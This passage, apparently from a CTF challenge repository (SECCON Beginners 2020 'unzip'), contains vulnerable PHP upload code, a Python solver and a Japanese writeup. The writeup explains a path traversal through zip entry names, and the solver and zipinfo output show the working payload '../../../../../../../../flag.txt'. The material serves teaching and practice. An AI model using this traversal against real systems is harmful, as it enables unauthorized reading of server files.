32 | die(); 33 | } 34 | 35 | // try to open uploaded file as zip 36 | $zip = new ZipArchive; 37 | if ($zip->open($_FILES["file"]["tmp_name"]) !== TRUE) { 38 | echo "failed to open your zip."; 39 | die(); 40 | } 41 | 42 | 43 | // check the size of unzipped files 44 | $extracted_zip_size = 0; 45 | for ($i = 0; $i < $zip->numFiles; $i++) 46 | $extracted_zip_size += $zip->statIndex($i)["size"]; 47 | 48 | if ($extracted_zip_size > 1000) { 49 | echo "the total size of extracted files exceeds 1000 bytes."; 50 | die(); 51 | } 52 | 53 | // extract 54 | $zip->extractTo($user_dir); 55 | 56 | // add files to $_SESSION["files"] 57 | for ($i = 0; $i < $zip->numFiles; $i++) { 58 | $s = $zip->statIndex($i); 59 | if (!in_array($s["name"], $_SESSION["files"], TRUE)) { 60 | $_SESSION["files"][] = $s["name"]; 61 | } 62 | } 63 | 64 | $zip->close(); 65 | } 66 | ?> 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 |123 |130 |Files from Your Archive(s)
124 |125 | 126 | = htmlspecialchars($filename, ENT_QUOTES, "UTF-8") ?> 127 | } ?> 128 |129 |77 | 78 | 79 | 80 | 85 | 86 | 87 | 88 |96 | 97 | 98 | 99 | 100 |
89 |Unzip
90 |91 |95 |92 | Unzip Your .zip Archive Like a Pro 93 |
94 |101 |120 | 121 |102 |119 |Upload
103 | 118 |122 |131 | 132 | 133 | 134 | -------------------------------------------------------------------------------- /web/unzip/solver/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python:3.8.2-alpine 2 | 3 | WORKDIR /app 4 | ADD . /app 5 | 6 | RUN pip install -r requirements.txt 7 | 8 | CMD ["python", "/app/solver.py"] -------------------------------------------------------------------------------- /web/unzip/solver/malicious.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SECCON/Beginners_CTF_2020/c643700479f5aefe0bf864da53b9c428f9a17439/web/unzip/solver/malicious.zip -------------------------------------------------------------------------------- /web/unzip/solver/requirements.txt: -------------------------------------------------------------------------------- 1 | requests 2 | -------------------------------------------------------------------------------- /web/unzip/solver/solver.py: -------------------------------------------------------------------------------- 1 | import requests 2 | import os 3 | 4 | target_url = "https://{}:{}/".format(os.getenv("CTF4B_HOST"), 5 | os.getenv("CTF4B_PORT")) 6 | s = requests.Session() 7 | s.post(target_url, files={ 8 | "file": open("malicious.zip", 'rb') 9 | }) 10 | 11 | print(s.get(target_url + "?filename=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fflag.txt").text) 12 | -------------------------------------------------------------------------------- /web/unzip/writeup.md: -------------------------------------------------------------------------------- 1 | # Writeup 2 | 3 | `index.php` のこのあたりを見ると、Directory Traversal がありそうである。 4 | 5 | ```php 6 | // return file if filename parameter is passed 7 | if (isset($_GET["filename"]) && is_string(($_GET["filename"]))) { 8 | if (in_array($_GET["filename"], $_SESSION["files"], TRUE)) { 9 | $filepath = $user_dir . "/" . $_GET["filename"]; 10 | header("Content-Type: text/plain"); 11 | echo file_get_contents($filepath); 12 | die(); 13 | } else { 14 | echo "no such file"; 15 | die(); 16 | } 17 | } 18 | ``` 19 | 20 | この Directory Traversal らしき箇所は、`in_array($_GET["filename"], $_SESSION["files"], TRUE)` を満たしつつ、`$_GET["filename"]` に悪意のある文字列を入れられるなら利用できる。 21 | 22 | ところでこの `$_SESSION["files"]` は、次のようにして生成されているのであった。 23 | 24 | ```php 25 | // try to open uploaded file as zip 26 | $zip = new ZipArchive; 27 | if ($zip->open($_FILES["file"]["tmp_name"]) !== TRUE) { 28 | echo "failed to open your zip."; 29 | die(); 30 | } 31 | 32 | /* 省略 */ 33 | 34 | // add files to $_SESSION["files"] 35 | for ($i = 0; $i < $zip->numFiles; $i++) { 36 | $s = $zip->statIndex($i); 37 | $_SESSION["files"][] = $s["name"]; 38 | } 39 | ``` 40 | 41 | つまりアップロードした .zip アーカイブ中のファイル名がそのまま使われているのである。 42 | いま .zip アーカイブ中のファイル名には `../` のような文字列を入れられる。これは次のようなコマンドの実行結果から明らかである。 43 | したがってこのような悪意のある .zip アーカイブをよしなに生成し、それをアップロードすれば、任意パスのファイルを読み出すことができる。 44 | 45 | ```sh 46 | $ zipinfo -l solver/malicious.zip 47 | Archive: solver/malicious.zip 48 | Zip file size: 162 bytes, number of entries: 1 49 | -rw-r--r-- 2.0 unx 0 b- 0 stor 20-Apr-24 00:58 ../../../../../../../../flag.txt 50 | 1 file, 0 bytes uncompressed, 0 bytes compressed: 0.0% 51 | ``` --------------------------------------------------------------------------------123 |130 |Files from Your Archive(s)
124 |125 | 126 | = htmlspecialchars($filename, ENT_QUOTES, "UTF-8") ?> 127 | } ?> 128 |129 |